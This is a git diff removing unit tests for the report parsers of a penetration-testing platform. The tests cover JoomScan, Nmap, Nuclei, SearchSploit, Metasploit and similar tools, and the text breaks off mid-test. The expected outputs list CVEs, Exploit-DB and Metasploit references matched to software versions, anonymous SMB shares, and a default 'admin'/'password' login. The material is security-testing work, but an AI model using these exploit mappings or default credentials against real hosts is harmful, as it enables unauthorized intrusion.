@@ -from findings.enums import PathType, Severity -from findings.models import Exploit, Path, Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class JoomScanParserTest(ToolParserTest): - '''Test cases for JoomScan parser.''' - - tool_name = 'JoomScan' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.tool.command_arguments = ['-u', 'http://10.10.10.10/'] - - def test_report_with_cves_and_exploits(self) -> None: - '''Test to parse report with CVEs and exploits.''' - expected = [ - { - 'model': Technology, - 'name': 'Joomla', - 'version': '3.4.5', - 'description': 'Joomla 3.4.5', - 'reference': 'https://www.joomla.org/' - }, - { - 'model': Vulnerability, - 'name': '3.4.4 < 3.6.4 - Account Creation / Privilege Escalation', - 'cve': 'CVE-2016-8870' - }, - { - 'model': Vulnerability, - 'name': '3.4.4 < 3.6.4 - Account Creation / Privilege Escalation', - 'cve': 'CVE-2016-8869' - }, - { - 'model': Exploit, - 'title': '3.4.4 < 3.6.4 - Account Creation / Privilege Escalation', - 'edb_id': 40637, - 'reference': 'https://www.exploit-db.com/exploits/40637/' - }, - {'model': Vulnerability, 'name': 'Core Remote Privilege Escalation Vulnerability', 'cve': 'CVE-2016-9838'}, - { - 'model': Exploit, - 'title': 'Core Remote Privilege Escalation Vulnerability', - 'edb_id': 41157, - 'reference': 'https://www.exploit-db.com/exploits/41157/' - }, - {'model': Vulnerability, 'name': 'Directory Traversal Vulnerability', 'cve': 'CVE-2015-8565'}, - {'model': Vulnerability, 'name': 'Directory Traversal Vulnerability', 'cve': 'CVE-2015-8564'}, - {'model': Vulnerability, 'name': 'Core Cross Site Request Forgery Vulnerability', 'cve': 'CVE-2015-8563'}, - {'model': Vulnerability, 'name': 'Core Security Bypass Vulnerability', 'cve': 'CVE-2016-9081'}, - {'model': Vulnerability, 'name': 'Core Arbitrary File Upload Vulnerability', 'cve': 'CVE-2016-9836'}, - {'model': Vulnerability, 'name': 'Information Disclosure Vulnerability', 'cve': 'CVE-2016-9837'}, - {'model': Vulnerability, 'name': 'PHPMailer Remote Code Execution Vulnerability', 'cve': 'CVE-2016-10033'}, - { - 'model': Exploit, - 'title': 'PHPMailer Remote Code Execution Vulnerability', - 'edb_id': 40969, - 'reference': 'https://www.exploit-db.com/exploits/40969/' - }, - { - 'model': Vulnerability, - 'name': 'PPHPMailer Incomplete Fix Remote Code Execution Vulnerability', - 'cve': 'CVE-2016-10045' - }, - { - 'model': Exploit, - 'title': 'PPHPMailer Incomplete Fix Remote Code Execution Vulnerability', - 'edb_id': 40969, - 'reference': 'https://www.exploit-db.com/exploits/40969/' - }, - {'model': Path, 'path': '/administrator/', 'type': PathType.ENDPOINT} - ] - super().check_tool_output_parser('exploitable.txt', expected) - - def test_report_without_cves_and_exploits(self) -> None: - '''Test to parse report without CVEs and exploits.''' - expected = [ - { - 'model': Technology, - 'name': 'Joomla', - 'version': '3.7.0', - 'description': 'Joomla 3.7.0', - 'reference': 'https://www.joomla.org/' - }, - {'model': Path, 'path': '/administrator/', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/backup/config.php.bak', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/config.php', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/error.php', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/static', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': 'Debug mode enabled', - 'description': 'Joomla debug mode enabled', - 'severity': Severity.LOW, - 'cwe': 'CWE-489' - }, - { - 'model': Vulnerability, - 'name': 'Backup files found', - 'description': '/backup/config.php.bak', - 'severity': Severity.HIGH, - 'cwe': 'CWE-530' - }, - { - 'model': Vulnerability, - 'name': 'Configuration files found', - 'description': '/config.php', - 'severity': Severity.MEDIUM, - 'cwe': 'CWE-497' - }, - { - 'model': Vulnerability, - 'name': 'Full path disclosure', - 'description': '/static', - 'severity': Severity.LOW, - 'cwe': 'CWE-497' - }, - { - 'model': Vulnerability, - 'name': 'Directory listing', - 'description': '/error.php', - 'severity': Severity.LOW, - 'cwe': 'CWE-548' - } - ] - super().check_tool_output_parser('not-exploitable.txt', expected) - - def test_report_not_joomla(self) -> None: - '''Test to parse report from not Joomla service.''' - super().check_tool_output_parser('not-joomla.txt', []) diff --git a/src/backend/testing/tools/test_log4j_scan.py b/src/backend/testing/tools/test_log4j_scan.py deleted file mode 100644 index da29c8fb5..000000000 --- a/src/backend/testing/tools/test_log4j_scan.py +++ /dev/null @@ -1,19 +0,0 @@ -from findings.models import Vulnerability -from testing.tools.base import ToolParserTest - - -class Log4jScannerParserTest(ToolParserTest): - '''Test cases for Log4j Scan parser.''' - - tool_name = 'Log4j Scan' - - def test_cve_2021_44228(self) -> None: - '''Test to parse report with CVE-2021-44228 vulnerability.''' - expected = [ - {'model': Vulnerability, 'name': 'Log4Shell', 'cve': 'CVE-2021-44228'} - ] - self.check_tool_output_parser('cve_2021_44228.txt', expected) - - def test_no_vulnerable(self) -> None: - '''Test to parse report without vulnerability.''' - self.check_tool_output_parser('not_vulnerable.txt', []) diff --git a/src/backend/testing/tools/test_metasploit.py b/src/backend/testing/tools/test_metasploit.py deleted file mode 100644 index 8043e19c8..000000000 --- a/src/backend/testing/tools/test_metasploit.py +++ /dev/null @@ -1,38 +0,0 @@ -from findings.models import Exploit -from testing.tools.base import ToolParserTest - - -class MetasploitParserTest(ToolParserTest): - '''Test cases for Metasploit parser.''' - - tool_name = 'Metasploit' - - def test_metasploit_with_exploits(self) -> None: - '''Test to parse report with exploits.''' - expected = [ - { - 'model': Exploit, - 'title': 'HP Data Protector Encrypted Communication Remote Command Execution', - 'reference': 'exploit/windows/misc/hp_dataprotector_encrypted_comms' - }, - { - 'model': Exploit, - 'title': 'Ruby on Rails ActionPack Inline ERB Code Execution', - 'reference': 'exploit/multi/http/rails_actionpack_inline_exec' - }, - { - 'model': Exploit, - 'title': 'Xymon Daemon Gather Information', - 'reference': 'auxiliary/gather/xymon_info' - }, - { - 'model': Exploit, - 'title': 'Xymon useradm Command Execution', - 'reference': 'exploit/unix/webapp/xymon_useradm_cmd_exec' - } - ] - super().check_tool_output_parser('exploits.txt', expected) - - def test_metasploit_without_exploits(self) -> None: - '''Test to parse an empty report.''' - super().check_tool_output_parser('nothing.txt', []) diff --git a/src/backend/testing/tools/test_nitkto.py b/src/backend/testing/tools/test_nitkto.py deleted file mode 100644 index d006ce53f..000000000 --- a/src/backend/testing/tools/test_nitkto.py +++ /dev/null @@ -1,107 +0,0 @@ -from findings.enums import PathType, Severity -from findings.models import Path, Vulnerability -from testing.tools.base import ToolParserTest - - -class NiktoParserTest(ToolParserTest): - '''Test cases for Nikto parser.''' - - tool_name = 'Nikto' - - def test_default(self) -> None: - '''Test to parse report with some vulnerabilities and endpoints.''' - expected = [ - { - 'model': Vulnerability, - 'name': 'The anti-clickjacking X-Frame-Options header is not present.', - 'description': '[GET /] The anti-clickjacking X-Frame-Options header is not present.', - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': ( - 'The X-XSS-Protection header is not defined. This header can hint to the user agent ' - 'to protect against some forms of XSS' - ), - 'description': ( - '[GET /] The X-XSS-Protection header is not defined. This header can hint to the user ' - 'agent to protect against some forms of XSS' - ), - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': ( - 'The X-Content-Type-Options header is not set. This could allow the user agent to ' - 'render the content of the site in a different fashion to the MIME type' - ), - 'description': ( - '[GET /] The X-Content-Type-Options header is not set. This could allow the user ' - 'agent to render the content of the site in a different fashion to the MIME type' - ), - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': "Uncommon header 'tcn' found, with contents: list", - 'description': "[GET /index] Uncommon header 'tcn' found, with contents: list", - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - {'model': Path, 'path': '/index', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': ( - 'Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily ' - 'brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following ' - "alternatives for 'index' were found: index.html" - ), - 'description': ( - '[GET /index] Apache mod_negotiation is enabled with MultiViews, which allows attackers ' - 'to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. ' - "The following alternatives for 'index' were found: index.html" - ), - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': ( - 'Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). ' - 'Apache 2.2.34 is the EOL for the 2.x branch.' - ), - 'description': ( - '[HEAD /] Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). ' - 'Apache 2.2.34 is the EOL for the 2.x branch.' - ), - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': 'Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ', - 'description': '[OPTIONS /] Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ', - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-0' - }, - { - 'model': Vulnerability, - 'name': '/images/: Directory indexing found.', - 'description': '[GET /images/] /images/: Directory indexing found.', - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-3268' - }, - {'model': Path, 'path': '/images/', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': '/icons/README: Apache default file found.', - 'description': '[GET /icons/README] /icons/README: Apache default file found.', - 'severity': Severity.MEDIUM, - 'osvdb': 'OSVDB-3233' - }, - {'model': Path, 'path': '/icons/README', 'type': PathType.ENDPOINT} - ] - super().check_tool_file_parser('default.xml', expected) diff --git a/src/backend/testing/tools/test_nmap.py b/src/backend/testing/tools/test_nmap.py deleted file mode 100644 index fab10050a..000000000 --- a/src/backend/testing/tools/test_nmap.py +++ /dev/null @@ -1,242 +0,0 @@ -from findings.enums import OSType, PathType, PortStatus, Protocol, Severity -from findings.models import (Credential, Host, Path, Port, Technology, - Vulnerability) -from testing.tools.base import ToolParserTest - - -class NmapParserTest(ToolParserTest): - '''Test cases for Nmap parser.''' - - tool_name = 'Nmap' - - def test_enumeration_and_vulners(self) -> None: - '''Test to parse report with common enumeration and some vulnerabilities from vulners NSE script.''' - expected = [ - { - 'model': Host, - 'address': '10.10.10.10', - 'os': 'Linux 3.2 - 4.9', - 'os_type': OSType.LINUX - }, - { - 'model': Port, - 'port': 22, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'ssh' - }, - {'model': Technology, 'name': 'OpenSSH', 'version': '8.0'}, - {'model': Vulnerability, 'name': 'CVE-2020-15778', 'cve': 'CVE-2020-15778'}, - {'model': Vulnerability, 'name': 'CVE-2021-41617', 'cve': 'CVE-2021-41617'}, - {'model': Vulnerability, 'name': 'CVE-2019-16905', 'cve': 'CVE-2019-16905'}, - {'model': Vulnerability, 'name': 'CVE-2020-14145', 'cve': 'CVE-2020-14145'}, - {'model': Vulnerability, 'name': 'CVE-2016-20012', 'cve': 'CVE-2016-20012'}, - { - 'model': Port, - 'port': 80, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'http' - }, - {'model': Technology, 'name': 'Apache httpd', 'version': '2.4.37'}, - {'model': Vulnerability, 'name': 'CVE-2020-11984', 'cve': 'CVE-2020-11984'}, - {'model': Vulnerability, 'name': 'CVE-2021-44790', 'cve': 'CVE-2021-44790'}, - {'model': Vulnerability, 'name': 'CVE-2021-39275', 'cve': 'CVE-2021-39275'}, - {'model': Vulnerability, 'name': 'CVE-2021-26691', 'cve': 'CVE-2021-26691'}, - {'model': Vulnerability, 'name': 'CVE-2019-0211', 'cve': 'CVE-2019-0211'}, - {'model': Vulnerability, 'name': 'CVE-2021-40438', 'cve': 'CVE-2021-40438'}, - {'model': Vulnerability, 'name': 'CVE-2020-35452', 'cve': 'CVE-2020-35452'}, - {'model': Vulnerability, 'name': 'CVE-2021-44224', 'cve': 'CVE-2021-44224'}, - {'model': Vulnerability, 'name': 'CVE-2019-10082', 'cve': 'CVE-2019-10082'}, - {'model': Vulnerability, 'name': 'CVE-2019-0217', 'cve': 'CVE-2019-0217'}, - {'model': Vulnerability, 'name': 'CVE-2019-0215', 'cve': 'CVE-2019-0215'}, - {'model': Vulnerability, 'name': 'CVE-2019-10097', 'cve': 'CVE-2019-10097'}, - {'model': Vulnerability, 'name': 'CVE-2020-1927', 'cve': 'CVE-2020-1927'}, - {'model': Vulnerability, 'name': 'CVE-2019-10098', 'cve': 'CVE-2019-10098'}, - {'model': Vulnerability, 'name': 'CVE-2020-9490', 'cve': 'CVE-2020-9490'}, - {'model': Vulnerability, 'name': 'CVE-2020-1934', 'cve': 'CVE-2020-1934'}, - {'model': Vulnerability, 'name': 'CVE-2021-36160', 'cve': 'CVE-2021-36160'}, - {'model': Vulnerability, 'name': 'CVE-2021-34798', 'cve': 'CVE-2021-34798'}, - {'model': Vulnerability, 'name': 'CVE-2021-33193', 'cve': 'CVE-2021-33193'}, - {'model': Vulnerability, 'name': 'CVE-2021-26690', 'cve': 'CVE-2021-26690'}, - {'model': Vulnerability, 'name': 'CVE-2019-17567', 'cve': 'CVE-2019-17567'}, - {'model': Vulnerability, 'name': 'CVE-2019-10081', 'cve': 'CVE-2019-10081'}, - {'model': Vulnerability, 'name': 'CVE-2019-0220', 'cve': 'CVE-2019-0220'}, - {'model': Vulnerability, 'name': 'CVE-2019-0196', 'cve': 'CVE-2019-0196'}, - {'model': Vulnerability, 'name': 'CVE-2018-17199', 'cve': 'CVE-2018-17199'}, - {'model': Vulnerability, 'name': 'CVE-2018-17189', 'cve': 'CVE-2018-17189'}, - {'model': Vulnerability, 'name': 'CVE-2019-0197', 'cve': 'CVE-2019-0197'}, - {'model': Vulnerability, 'name': 'CVE-2020-11993', 'cve': 'CVE-2020-11993'}, - {'model': Vulnerability, 'name': 'CVE-2019-10092', 'cve': 'CVE-2019-10092'}, - { - 'model': Port, - 'port': 443, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'http' - }, - {'model': Technology, 'name': 'Apache httpd', 'version': '2.4.37'}, - {'model': Vulnerability, 'name': 'CVE-2020-11984', 'cve': 'CVE-2020-11984'}, - {'model': Vulnerability, 'name': 'CVE-2021-44790', 'cve': 'CVE-2021-44790'}, - {'model': Vulnerability, 'name': 'CVE-2021-39275', 'cve': 'CVE-2021-39275'}, - {'model': Vulnerability, 'name': 'CVE-2021-26691', 'cve': 'CVE-2021-26691'}, - {'model': Vulnerability, 'name': 'CVE-2019-0211', 'cve': 'CVE-2019-0211'}, - {'model': Vulnerability, 'name': 'CVE-2021-40438', 'cve': 'CVE-2021-40438'}, - {'model': Vulnerability, 'name': 'CVE-2020-35452', 'cve': 'CVE-2020-35452'}, - {'model': Vulnerability, 'name': 'CVE-2021-44224', 'cve': 'CVE-2021-44224'}, - {'model': Vulnerability, 'name': 'CVE-2019-10082', 'cve': 'CVE-2019-10082'}, - {'model': Vulnerability, 'name': 'CVE-2019-0217', 'cve': 'CVE-2019-0217'}, - {'model': Vulnerability, 'name': 'CVE-2019-0215', 'cve': 'CVE-2019-0215'}, - {'model': Vulnerability, 'name': 'CVE-2019-10097', 'cve': 'CVE-2019-10097'}, - {'model': Vulnerability, 'name': 'CVE-2020-1927', 'cve': 'CVE-2020-1927'}, - {'model': Vulnerability, 'name': 'CVE-2019-10098', 'cve': 'CVE-2019-10098'}, - {'model': Vulnerability, 'name': 'CVE-2020-9490', 'cve': 'CVE-2020-9490'}, - {'model': Vulnerability, 'name': 'CVE-2020-1934', 'cve': 'CVE-2020-1934'}, - {'model': Vulnerability, 'name': 'CVE-2021-36160', 'cve': 'CVE-2021-36160'}, - {'model': Vulnerability, 'name': 'CVE-2021-34798', 'cve': 'CVE-2021-34798'}, - {'model': Vulnerability, 'name': 'CVE-2021-33193', 'cve': 'CVE-2021-33193'}, - {'model': Vulnerability, 'name': 'CVE-2021-26690', 'cve': 'CVE-2021-26690'}, - {'model': Vulnerability, 'name': 'CVE-2019-17567', 'cve': 'CVE-2019-17567'}, - {'model': Vulnerability, 'name': 'CVE-2019-10081', 'cve': 'CVE-2019-10081'}, - {'model': Vulnerability, 'name': 'CVE-2019-0220', 'cve': 'CVE-2019-0220'}, - {'model': Vulnerability, 'name': 'CVE-2019-0196', 'cve': 'CVE-2019-0196'}, - {'model': Vulnerability, 'name': 'CVE-2018-17199', 'cve': 'CVE-2018-17199'}, - {'model': Vulnerability, 'name': 'CVE-2018-17189', 'cve': 'CVE-2018-17189'}, - {'model': Vulnerability, 'name': 'CVE-2019-0197', 'cve': 'CVE-2019-0197'}, - {'model': Vulnerability, 'name': 'CVE-2020-11993', 'cve': 'CVE-2020-11993'}, - {'model': Vulnerability, 'name': 'CVE-2019-10092', 'cve': 'CVE-2019-10092'}, - ] - super().check_tool_file_parser('enumeration-vulners.xml', expected) - - def test_ftp_vulnerabilities(self) -> None: - '''Test to parse report with vulnerabilities in FTP service.''' - expected = [ - { - 'model': Host, - 'address': '10.10.10.10', - 'os': 'Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)', - 'os_type': OSType.MACOS - }, - { - 'model': Port, - 'port': 21, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'ftp' - }, - {'model': Technology, 'name': 'vsftpd', 'version': '2.3.4'}, - {'model': Vulnerability, 'name': 'vsFTPd Backdoor', 'cve': 'CVE-2011-2523'}, - { - 'model': Vulnerability, - 'name': 'Anonymous FTP', - 'description': 'Anonymous login is allowed in FTP', - 'severity': Severity.CRITICAL, - 'cwe': 'CWE-287', - 'reference': 'https://book.hacktricks.xyz/pentesting/pentesting-ftp#anonymous-login' - } - ] - super().check_tool_file_parser('ftp-vulnerabilities.xml', expected) - - def test_smb_analysis(self) -> None: - '''Test to parse report with full SMB analysis.''' - expected = [ - { - 'model': Host, - 'address': '10.10.10.10', - 'os': 'Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)', - 'os_type': OSType.MACOS - }, - { - 'model': Port, - 'port': 445, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'netbios-ssn' - }, - { - 'model': Technology, - 'name': 'Samba smbd', - 'version': '3.X - 4.X', - 'description': 'Protocols: NT LM 0.12 (SMBv1), 2.0.2, 2.1, 3.0, 3.0.2, 3.1.1' - }, - { - 'model': Path, - 'path': 'IPC$', - 'extra': ( - 'IPC Service (Samba Server Version 4.6.3) Type: STYPE_IPC_HIDDEN ' - 'Anonymous access: READ/WRITE Current access: READ/WRITE' - ), - 'type': PathType.SHARE - }, - { - 'model': Vulnerability, - 'name': 'Anonymous SMB', - 'description': 'Anonymous access is allowed to the SMB share IPC$', - 'severity': Severity.CRITICAL, - 'cwe': 'CWE-287' - }, - { - 'model': Path, - 'path': 'myshare', - 'extra': 'Type: STYPE_DISKTREE Anonymous access: READ/WRITE Current access: READ/WRITE', - 'type': PathType.SHARE - }, - { - 'model': Vulnerability, - 'name': 'Anonymous SMB', - 'description': 'Anonymous access is allowed to the SMB share myshare', - 'severity': Severity.CRITICAL, - 'cwe': 'CWE-287' - }, - ] - super().check_tool_file_parser('smb-analysis.xml', expected) - - def test_smb_users(self) -> None: - '''Test to parse report with SMB users.''' - expected = [ - { - 'model': Host, - 'address': '10.10.10.10', - 'os': 'Apple macOS 10.13 (High Sierra) - 10.15 (Catalina) or iOS 11.0 - 13.4 (Darwin 17.0.0 - 19.2.0)', - 'os_type': OSType.MACOS - }, - { - 'model': Port, - 'port': 445, - 'status': PortStatus.OPEN, - 'protocol': Protocol.TCP, - 'service': 'netbios-ssn' - }, - {'model': Technology, 'name': 'Samba smbd', 'version': '3.X - 4.X'}, - {'model': Credential, 'username': '629F42ED79BB\\test'}, - { - 'model': Path, - 'path': 'IPC$', - 'extra': ( - 'IPC Service (Samba 4.5.4) Type: STYPE_IPC_HIDDEN ' - 'Anonymous access: READ/WRITE Current access: READ/WRITE' - ), - 'type': PathType.SHARE - }, - { - 'model': Vulnerability, - 'name': 'Anonymous SMB', - 'description': 'Anonymous access is allowed to the SMB share IPC$', - 'severity': Severity.CRITICAL, - 'cwe': 'CWE-287' - }, - { - 'model': Path, - 'path': 'shared', - 'extra': 'Type: STYPE_DISKTREE Anonymous access: READ/WRITE Current access: READ/WRITE', - 'type': PathType.SHARE - }, - { - 'model': Vulnerability, - 'name': 'Anonymous SMB', - 'description': 'Anonymous access is allowed to the SMB share shared', - 'severity': Severity.CRITICAL, - 'cwe': 'CWE-287' - }, - ] - super().check_tool_file_parser('smb-users.xml', expected) diff --git a/src/backend/testing/tools/test_nuclei.py b/src/backend/testing/tools/test_nuclei.py deleted file mode 100644 index 78f16559e..000000000 --- a/src/backend/testing/tools/test_nuclei.py +++ /dev/null @@ -1,97 +0,0 @@ -from findings.enums import Severity -from findings.models import Credential, Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class NucleiParserTest(ToolParserTest): - '''Test cases for Nuclei parser.''' - - tool_name = 'Nuclei' - - def test_tech_and_vulns(self) -> None: - '''Test to parse report with technologies and vulnerabilities.''' - expected = [ - {'model': Technology, 'name': 'PHP Detect', 'version': None, 'description': None, 'reference': None}, - { - 'model': Technology, - 'name': 'Apache Detection: Apache/2.4.25 (Debian)', - 'version': None, - 'description': 'Some Apache servers have the version on the response header. The OpenSSL version can be also obtained', # noqa: E501 - 'reference': None - }, - { - 'model': Technology, - 'name': 'Wappalyzer Technology Detection: php', - 'version': None, - 'description': None, - 'reference': None - }, - { - 'model': Vulnerability, - 'name': 'robots.txt endpoint prober', - 'description': None, - 'severity': Severity.INFO, - 'cve': None, - 'cwe': None, - 'reference': None - }, - { - 'model': Vulnerability, - 'name': 'HTTP Missing Security Headers: access-control-allow-headers', - 'description': 'This template searches for missing HTTP security headers. The impact of these missing headers can vary.', # noqa: E501 - 'severity': Severity.INFO, - 'cve': None, - 'cwe': None, - 'reference': None - }, - { - 'model': Vulnerability, - 'name': 'Redis Server - Unauthenticated Access', - 'description': 'Redis server without any required authentication was discovered.', - 'severity': Severity.HIGH, - 'cve': None, - 'cwe': None, - 'reference': 'https://redis.io/topics/security' - }, - { - 'model': Vulnerability, - 'name': 'Exposed Gitignore', - 'description': None, - 'severity': Severity.INFO, - 'cve': None, - 'cwe': None, - 'reference': 'https://twitter.com/pratiky9967/status/1230001391701086208' - }, - { - 'model': Technology, - 'name': 'WAF Detection: apachegeneric', - 'version': None, - 'description': 'A web application firewall was detected.', - 'reference': 'https://github.com/ekultek/whatwaf' - }, - { - 'model': Vulnerability, - 'name': 'phpinfo Disclosure: 7.0.30', - 'description': 'A "PHP Info" page was found. The output of the phpinfo() command can reveal detailed PHP environment information.', # noqa: E501 - 'severity': Severity.LOW, - 'cve': None, - 'cwe': None, - 'reference': None - }, - { - 'model': Vulnerability, - 'name': 'README.md file disclosure', - 'description': 'Internal documentation file often used in projects which can contain sensitive information.', # noqa: E501 - 'severity': Severity.INFO, - 'cve': None, - 'cwe': None, - 'reference': None - }, - { - 'model': Credential, - 'username': 'admin', - 'secret': 'password', - 'context': 'DVWA Default Login' - } - ] - super().check_tool_file_parser('tech_and_vulns.json', expected) diff --git a/src/backend/testing/tools/test_searchsploit.py b/src/backend/testing/tools/test_searchsploit.py deleted file mode 100644 index 2f3e3be2a..000000000 --- a/src/backend/testing/tools/test_searchsploit.py +++ /dev/null @@ -1,152 +0,0 @@ -from findings.models import Exploit -from testing.tools.base import ToolParserTest - - -class SearchSploitParserTest(ToolParserTest): - '''Test cases for SearchSploit parser.''' - - tool_name = 'SearchSploit' - - def test_searchsploit_with_exploits(self) -> None: - '''Test to parse report with exploits.''' - expected = [ - { - 'model': Exploit, - 'title': "WordPress Core 1.2.1/1.2.2 - '/wp-admin/post.php?content' Cross-Site Scripting", - 'edb_id': 24988, - 'reference': 'https://www.exploit-db.com/exploits/24988' - }, - { - 'model': Exploit, - 'title': "WordPress Core 1.2.1/1.2.2 - '/wp-admin/templates.php?file' Cross-Site Scripting", - 'edb_id': 24989, - 'reference': 'https://www.exploit-db.com/exploits/24989' - }, - { - 'model': Exploit, - 'title': "WordPress Core 1.2.1/1.2.2 - 'link-add.php' Multiple Cross-Site Scripting Vulnerabilities", - 'edb_id': 24990, - 'reference': 'https://www.exploit-db.com/exploits/24990' - }, - { - 'model': Exploit, - 'title': "WordPress Core 1.2.1/1.2.2 - 'link-categories.php?cat_id' Cross-Site Scripting", - 'edb_id': 24991, - 'reference': 'https://www.exploit-db.com/exploits/24991' - }, - { - 'model': Exploit, - 'title': ( - "WordPress Core 1.2.1/1.2.2 - 'link-manager.php' Multiple Cross-Site Scripting Vulnerabilities" - ), - 'edb_id': 24992, - 'reference': 'https://www.exploit-db.com/exploits/24992' - }, - { - 'model': Exploit, - 'title': "WordPress Core 1.2.1/1.2.2 - 'moderation.php?item_approved' Cross-Site Scripting", - 'edb_id': 24993, - 'reference': 'https://www.exploit-db.com/exploits/24993' - }, - { - 'model': Exploit, - 'title': 'WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities', - 'edb_id': 4397, - 'reference': 'https://www.exploit-db.com/exploits/4397' - }, - { - 'model': Exploit, - 'title': "WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass", - 'edb_id': 10088, - 'reference': 'https://www.exploit-db.com/exploits/10088' - }, - { - 'model': Exploit, - 'title': "WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution", - 'edb_id': 29702, - 'reference': 'https://www.exploit-db.com/exploits/29702' - }, - { - 'model': Exploit, - 'title': "WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting", - 'edb_id': 29682, - 'reference': 'https://www.exploit-db.com/exploits/29682' - }, - { - 'model': Exploit, - 'title': 'WordPress Core 2.1.1 - Arbitrary Command Execution', - 'edb_id': 29701, - 'reference': 'https://www.exploit-db.com/exploits/29701' - }, - { - 'model': Exploit, - 'title': 'WordPress Core 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities', - 'edb_id': 29684, - 'reference': 'https://www.exploit-db.com/exploits/29684' - }, - { - 'model': Exploit, - 'title': "WordPress Core 2.1.2 - 'xmlrpc' SQL Injection", - 'edb_id': 3656, - 'reference': 'https://www.exploit-db.com/exploits/3656' - }, - { - 'model': Exploit, - 'title': "WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing", - 'edb_id': 3960, - 'reference': 'https://www.exploit-db.com/exploits/3960' - }, - { - 'model': Exploit, - 'title': "WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting", - 'edb_id': 29754, - 'reference': 'https://www.exploit-db.com/exploits/29754' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 2.8.5 - Unrestricted Arbitrary File Upload / Arbitrary PHP Code Execution', - 'edb_id': 10089, - 'reference': 'https://www.exploit-db.com/exploits/10089' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 4.0.1 - Denial of Service', - 'edb_id': 35414, - 'reference': 'https://www.exploit-db.com/exploits/35414' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 4.7.1 - Username Enumeration', - 'edb_id': 41497, - 'reference': 'https://www.exploit-db.com/exploits/41497' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 4.7.4 - Unauthorized Password Reset', - 'edb_id': 41963, - 'reference': 'https://www.exploit-db.com/exploits/41963' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion', - 'edb_id': 44949, - 'reference': 'https://www.exploit-db.com/exploits/44949' - }, - { - 'model': Exploit, - 'title': 'WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts', - 'edb_id': 47690, - 'reference': 'https://www.exploit-db.com/exploits/47690' - }, - { - 'model': Exploit, - 'title': "WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service", - 'edb_id': 47800, - 'reference': 'https://www.exploit-db.com/exploits/47800' - } - ] - super().check_tool_file_parser('exploits.json', expected) - - def test_searchsploit_without_exploits(self) -> None: - '''Test to parse an empty report.''' - super().check_tool_file_parser('nothing.json', []) diff --git a/src/backend/testing/tools/test_smbmap.py b/src/backend/testing/tools/test_smbmap.py deleted file mode 100644 index 7d9391dde..000000000 --- a/src/backend/testing/tools/test_smbmap.py +++ /dev/null @@ -1,30 +0,0 @@ -from findings.enums import PathType -from findings.models import Path -from testing.tools.base import ToolParserTest - - -class SMBMapParserTest(ToolParserTest): - '''Test cases for SMBMap parser.''' - - tool_name = 'SMBMap' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.expected_shares = [ - {'model': Path, 'path': 'shared', 'extra': 'READ, WRITE', 'type': PathType.SHARE}, - { - 'model': Path, - 'path': 'IPC$', - 'extra': '[NO ACCESS] IPC Service (Samba 4.5.4)', - 'type': PathType.SHARE - } - ] - - def test_smbmap_only_with_shares(self) -> None: - '''Test to parse report only with shares.''' - self.check_tool_output_parser('shares.txt', self.expected_shares) - - def test_smbmap_with_directories(self) -> None: - '''Test to parse report with shares and directories.''' - self.check_tool_output_parser('directories.txt', self.expected_shares) diff --git a/src/backend/testing/tools/test_spring4shell_scan.py b/src/backend/testing/tools/test_spring4shell_scan.py deleted file mode 100644 index 4e9bbb4e0..000000000 --- a/src/backend/testing/tools/test_spring4shell_scan.py +++ /dev/null @@ -1,26 +0,0 @@ -from findings.models import Vulnerability -from testing.tools.base import ToolParserTest - - -class Spring4ShellScanParserTest(ToolParserTest): - '''Test cases for 